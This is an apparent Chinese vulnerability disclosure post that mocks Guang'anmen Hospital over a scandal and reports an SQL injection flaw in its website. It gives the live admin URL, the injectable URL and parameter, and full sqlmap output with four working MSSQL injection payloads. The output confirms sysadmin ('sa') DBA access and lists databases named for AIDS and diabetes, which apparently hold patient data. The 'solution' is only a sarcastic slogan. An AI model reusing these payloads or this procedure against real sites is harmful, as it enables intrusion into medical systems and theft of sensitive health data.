中广安门中医院网站存在DBA+SA+MSSQL注射漏洞（女孩痛斥号贩子视频所属医院）

请看这条消息
http://www.gamh.com.cn/gamadmin/infomanage/comminfo/show.asp?Info_ID=1282

他们还好意思在那叭叭叭

网站后台：http://www.gamh.com.cn/gamadmin/



注射点：http://www.gamh.com.cn/english/huojiangmulu.asp?Info_Type_Name=Scientific%20Achievement&Info_Type_Code=20



参数：Info_Type_Code



DBA+SA+MSSQL

 

sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:
---
Parameter: Info_Type_Code (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- -
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Info_Type_Code (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- -
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
current user:    'sa'
current database:    'gamhospital'
current user is DBA:    True
available databases [10]:
[*] aids
[*] gamhospital
[*] keti
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tangniaobing
[*] tempdb

 

解决方案：

全心全意为老百姓服务